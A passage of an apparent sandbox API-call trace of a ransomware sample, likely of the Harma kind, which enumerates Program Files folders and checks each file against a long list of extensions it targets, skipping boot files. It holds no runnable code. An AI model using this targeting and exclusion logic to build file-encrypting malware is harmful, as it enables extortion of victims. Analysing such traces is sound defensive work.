(lpString=".elf") returned 4 [0044.283] lstrcmpiW (lpString1=".elf", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".emf") returned 4 [0044.283] lstrcmpiW (lpString1=".emf", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".emz") returned 4 [0044.283] lstrcmpiW (lpString1=".emz", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".epf") returned 4 [0044.283] lstrcmpiW (lpString1=".epf", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".eps") returned 4 [0044.283] lstrcmpiW (lpString1=".eps", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".epsf") returned 5 [0044.283] lstrcmpiW (lpString1=".epsf", lpString2="T.MSG") returned -1 [0044.283] lstrlenW (lpString=".epsp") returned 5 [0044.283] lstrcmpiW (lpString1=".epsp", lpString2="T.MSG") returned -1 [0044.283] lstrlenW (lpString=".erf") returned 4 [0044.283] lstrcmpiW (lpString1=".erf", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".exr") returned 4 [0044.283] lstrcmpiW (lpString1=".exr", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".f4v") returned 4 [0044.283] lstrcmpiW (lpString1=".f4v", lpString2=".MSG") returned -1 [0044.283] lstrlenW (lpString=".fido") returned 5 [0044.283] lstrcmpiW (lpString1=".fido", lpString2="T.MSG") returned -1 [0044.284] lstrlenW (lpString=".flm") returned 4 [0044.284] lstrcmpiW (lpString1=".flm", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".flv") returned 4 [0044.284] lstrcmpiW (lpString1=".flv", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".frm") returned 4 [0044.284] lstrcmpiW (lpString1=".frm", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".fxg") returned 4 [0044.284] lstrcmpiW (lpString1=".fxg", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".geo") returned 4 [0044.284] lstrcmpiW (lpString1=".geo", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".gif") returned 4 [0044.284] lstrcmpiW (lpString1=".gif", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".grs") returned 4 [0044.284] lstrcmpiW (lpString1=".grs", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".gz") returned 3 [0044.284] lstrcmpiW (lpString1=".gz", lpString2="MSG") returned -1 [0044.284] lstrlenW (lpString=".h") returned 2 [0044.284] lstrcmpiW (lpString1=".h", lpString2="SG") returned -1 [0044.284] lstrlenW (lpString=".hdr") returned 4 [0044.284] lstrcmpiW (lpString1=".hdr", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".hpp") returned 4 [0044.284] lstrcmpiW (lpString1=".hpp", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".hta") returned 4 [0044.284] lstrcmpiW (lpString1=".hta", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".htc") returned 4 [0044.284] lstrcmpiW (lpString1=".htc", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".htm") returned 4 [0044.284] lstrcmpiW (lpString1=".htm", lpString2=".MSG") returned -1 [0044.284] lstrlenW (lpString=".html") returned 5 [0044.284] lstrcmpiW (lpString1=".html", lpString2="T.MSG") returned -1 [0044.284] lstrlenW (lpString=".icb") returned 4 [0044.285] lstrcmpiW (lpString1=".icb", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".ics") returned 4 [0044.285] lstrcmpiW (lpString1=".ics", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".iff") returned 4 [0044.285] lstrcmpiW (lpString1=".iff", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".inc") returned 4 [0044.285] lstrcmpiW (lpString1=".inc", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".indd") returned 5 [0044.285] lstrcmpiW (lpString1=".indd", lpString2="T.MSG") returned -1 [0044.285] lstrlenW (lpString=".ini") returned 4 [0044.285] lstrcmpiW (lpString1=".ini", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".iqy") returned 4 [0044.285] lstrcmpiW (lpString1=".iqy", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".j2c") returned 4 [0044.285] lstrcmpiW (lpString1=".j2c", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".j2k") returned 4 [0044.285] lstrcmpiW (lpString1=".j2k", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".java") returned 5 [0044.285] lstrcmpiW (lpString1=".java", lpString2="T.MSG") returned -1 [0044.285] lstrlenW (lpString=".jp2") returned 4 [0044.285] lstrcmpiW (lpString1=".jp2", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".jpc") returned 4 [0044.285] lstrcmpiW (lpString1=".jpc", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".jpe") returned 4 [0044.285] lstrcmpiW (lpString1=".jpe", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".jpeg") returned 5 [0044.285] lstrcmpiW (lpString1=".jpeg", lpString2="T.MSG") returned -1 [0044.285] lstrlenW (lpString=".jpf") returned 4 [0044.285] lstrcmpiW (lpString1=".jpf", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".jpg") returned 4 [0044.285] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0044.285] lstrlenW (lpString=".jpx") returned 4 [0044.285] lstrcmpiW (lpString1=".jpx", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".js") returned 3 [0044.286] lstrcmpiW (lpString1=".js", lpString2="MSG") returned -1 [0044.286] lstrlenW (lpString=".jsf") returned 4 [0044.286] lstrcmpiW (lpString1=".jsf", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".json") returned 5 [0044.286] lstrcmpiW (lpString1=".json", lpString2="T.MSG") returned -1 [0044.286] lstrlenW (lpString=".jsp") returned 4 [0044.286] lstrcmpiW (lpString1=".jsp", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".kdc") returned 4 [0044.286] lstrcmpiW (lpString1=".kdc", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".kmz") returned 4 [0044.286] lstrcmpiW (lpString1=".kmz", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".kwm") returned 4 [0044.286] lstrcmpiW (lpString1=".kwm", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".lasso") returned 6 [0044.286] lstrcmpiW (lpString1=".lasso", lpString2="XT.MSG") returned -1 [0044.286] lstrlenW (lpString=".lbi") returned 4 [0044.286] lstrcmpiW (lpString1=".lbi", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".lgf") returned 4 [0044.286] lstrcmpiW (lpString1=".lgf", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".lgp") returned 4 [0044.286] lstrcmpiW (lpString1=".lgp", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".log") returned 4 [0044.286] lstrcmpiW (lpString1=".log", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".m1v") returned 4 [0044.286] lstrcmpiW (lpString1=".m1v", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".m4a") returned 4 [0044.286] lstrcmpiW (lpString1=".m4a", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".m4v") returned 4 [0044.286] lstrcmpiW (lpString1=".m4v", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".max") returned 4 [0044.286] lstrcmpiW (lpString1=".max", lpString2=".MSG") returned -1 [0044.286] lstrlenW (lpString=".md") returned 3 [0044.287] lstrcmpiW (lpString1=".md", lpString2="MSG") returned -1 [0044.287] lstrlenW (lpString=".mda") returned 4 [0044.287] lstrcmpiW (lpString1=".mda", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mdb") returned 4 [0044.287] lstrcmpiW (lpString1=".mdb", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mde") returned 4 [0044.287] lstrcmpiW (lpString1=".mde", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mdf") returned 4 [0044.287] lstrcmpiW (lpString1=".mdf", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mdw") returned 4 [0044.287] lstrcmpiW (lpString1=".mdw", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mef") returned 4 [0044.287] lstrcmpiW (lpString1=".mef", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mft") returned 4 [0044.287] lstrcmpiW (lpString1=".mft", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mfw") returned 4 [0044.287] lstrcmpiW (lpString1=".mfw", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mht") returned 4 [0044.287] lstrcmpiW (lpString1=".mht", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mhtml") returned 6 [0044.287] lstrcmpiW (lpString1=".mhtml", lpString2="XT.MSG") returned -1 [0044.287] lstrlenW (lpString=".mka") returned 4 [0044.287] lstrcmpiW (lpString1=".mka", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mkidx") returned 6 [0044.287] lstrcmpiW (lpString1=".mkidx", lpString2="XT.MSG") returned -1 [0044.287] lstrlenW (lpString=".mkv") returned 4 [0044.287] lstrcmpiW (lpString1=".mkv", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mos") returned 4 [0044.287] lstrcmpiW (lpString1=".mos", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mov") returned 4 [0044.287] lstrcmpiW (lpString1=".mov", lpString2=".MSG") returned -1 [0044.287] lstrlenW (lpString=".mp3") returned 4 [0044.287] lstrcmpiW (lpString1=".mp3", lpString2=".MSG") returned -1 [0044.288] lstrlenW (lpString=".mp4") returned 4 [0044.288] lstrcmpiW (lpString1=".mp4", lpString2=".MSG") returned -1 [0044.288] lstrlenW (lpString=".mpeg") returned 5 [0044.288] lstrcmpiW (lpString1=".mpeg", lpString2="T.MSG") returned -1 [0044.288] lstrlenW (lpString=".mpg") returned 4 [0044.288] lstrcmpiW (lpString1=".mpg", lpString2=".MSG") returned -1 [0044.288] lstrlenW (lpString=".mpv") returned 4 [0044.288] lstrcmpiW (lpString1=".mpv", lpString2=".MSG") returned -1 [0044.288] lstrlenW (lpString=".mrw") returned 4 [0044.288] lstrcmpiW (lpString1=".mrw", lpString2=".MSG") returned -1 [0044.288] lstrlenW (lpString=".msg") returned 4 [0044.288] lstrcmpiW (lpString1=".msg", lpString2=".MSG") returned 0 [0044.288] lstrlenW (lpString="FPEXT.MSG") returned 9 [0044.288] lstrlenW (lpString=".harma") returned 6 [0044.288] lstrcmpiW (lpString1=".harma", lpString2="XT.MSG") returned -1 [0044.288] lstrlenW (lpString="FPEXT.MSG") returned 9 [0044.288] lstrcmpiW (lpString1="boot.ini", lpString2="FPEXT.MSG") returned -1 [0044.288] lstrcmpiW (lpString1="bootfont.bin", lpString2="FPEXT.MSG") returned -1 [0044.288] lstrcmpiW (lpString1="ntldr", lpString2="FPEXT.MSG") returned 1 [0044.288] lstrcmpiW (lpString1="ntdetect.com", lpString2="FPEXT.MSG") returned 1 [0044.288] lstrcmpiW (lpString1="io.sys", lpString2="FPEXT.MSG") returned 1 [0044.288] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="FPEXT.MSG") returned -1 [0044.288] lstrcmpiW (lpString1="Info.hta", lpString2="FPEXT.MSG") returned 1 [0044.288] lstrcmpiW (lpString1="3G6885.exe", lpString2="FPEXT.MSG") returned -1 [0044.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0044.288] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0044.288] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.288] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0044.289] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0044.289] lstrlenW (lpString="FPSRVUTL.DLL") returned 12 [0044.289] lstrlenW (lpString=".1cd") returned 4 [0044.289] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".3ds") returned 4 [0044.289] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".3fr") returned 4 [0044.289] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".3g2") returned 4 [0044.289] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".3gp") returned 4 [0044.289] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".7z") returned 3 [0044.289] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0044.289] lstrlenW (lpString=".accda") returned 6 [0044.289] lstrcmpiW (lpString1=".accda", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".accdb") returned 6 [0044.289] lstrcmpiW (lpString1=".accdb", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".accdc") returned 6 [0044.289] lstrcmpiW (lpString1=".accdc", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".accde") returned 6 [0044.289] lstrcmpiW (lpString1=".accde", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".accdt") returned 6 [0044.289] lstrcmpiW (lpString1=".accdt", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".accdw") returned 6 [0044.289] lstrcmpiW (lpString1=".accdw", lpString2="TL.DLL") returned -1 [0044.289] lstrlenW (lpString=".adb") returned 4 [0044.289] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".adp") returned 4 [0044.289] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0044.289] lstrlenW (lpString=".ai") returned 3 [0044.289] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0044.290] lstrlenW (lpString=".ai3") returned 4 [0044.290] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ai4") returned 4 [0044.290] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ai5") returned 4 [0044.290] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ai6") returned 4 [0044.290] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ai7") returned 4 [0044.290] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ai8") returned 4 [0044.290] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".anim") returned 5 [0044.290] lstrcmpiW (lpString1=".anim", lpString2="L.DLL") returned -1 [0044.290] lstrlenW (lpString=".arw") returned 4 [0044.290] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".as") returned 3 [0044.290] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0044.290] lstrlenW (lpString=".asa") returned 4 [0044.290] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".asc") returned 4 [0044.290] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".ascx") returned 5 [0044.290] lstrcmpiW (lpString1=".ascx", lpString2="L.DLL") returned -1 [0044.290] lstrlenW (lpString=".asm") returned 4 [0044.290] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".asmx") returned 5 [0044.290] lstrcmpiW (lpString1=".asmx", lpString2="L.DLL") returned -1 [0044.290] lstrlenW (lpString=".asp") returned 4 [0044.290] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0044.290] lstrlenW (lpString=".aspx") returned 5 [0044.290] lstrcmpiW (lpString1=".aspx", lpString2="L.DLL") returned -1 [0044.291] lstrlenW (lpString=".asr") returned 4 [0044.291] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".asx") returned 4 [0044.291] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".avi") returned 4 [0044.291] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".avs") returned 4 [0044.291] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".backup") returned 7 [0044.291] lstrcmpiW (lpString1=".backup", lpString2="UTL.DLL") returned -1 [0044.291] lstrlenW (lpString=".bak") returned 4 [0044.291] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".bay") returned 4 [0044.291] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".bd") returned 3 [0044.291] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0044.291] lstrlenW (lpString=".bin") returned 4 [0044.291] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".bmp") returned 4 [0044.291] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".bz2") returned 4 [0044.291] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".c") returned 2 [0044.291] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0044.291] lstrlenW (lpString=".cdr") returned 4 [0044.291] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".cer") returned 4 [0044.291] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0044.291] lstrlenW (lpString=".cf") returned 3 [0044.291] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0044.291] lstrlenW (lpString=".cfc") returned 4 [0044.291] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".cfm") returned 4 [0044.292] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".cfml") returned 5 [0044.292] lstrcmpiW (lpString1=".cfml", lpString2="L.DLL") returned -1 [0044.292] lstrlenW (lpString=".cfu") returned 4 [0044.292] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".chm") returned 4 [0044.292] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".cin") returned 4 [0044.292] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".class") returned 6 [0044.292] lstrcmpiW (lpString1=".class", lpString2="TL.DLL") returned -1 [0044.292] lstrlenW (lpString=".clx") returned 4 [0044.292] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".config") returned 7 [0044.292] lstrcmpiW (lpString1=".config", lpString2="UTL.DLL") returned -1 [0044.292] lstrlenW (lpString=".cpp") returned 4 [0044.292] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0044.292] lstrlenW (lpString=".cr2") returned 4 [0044.292] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0050.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0050.197] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.197] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0050.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0050.446] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.446] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0050.447] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0050.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0050.447] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0050.447] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0050.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0050.447] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0050.447] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0050.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0050.448] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0050.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0050.450] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.450] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, 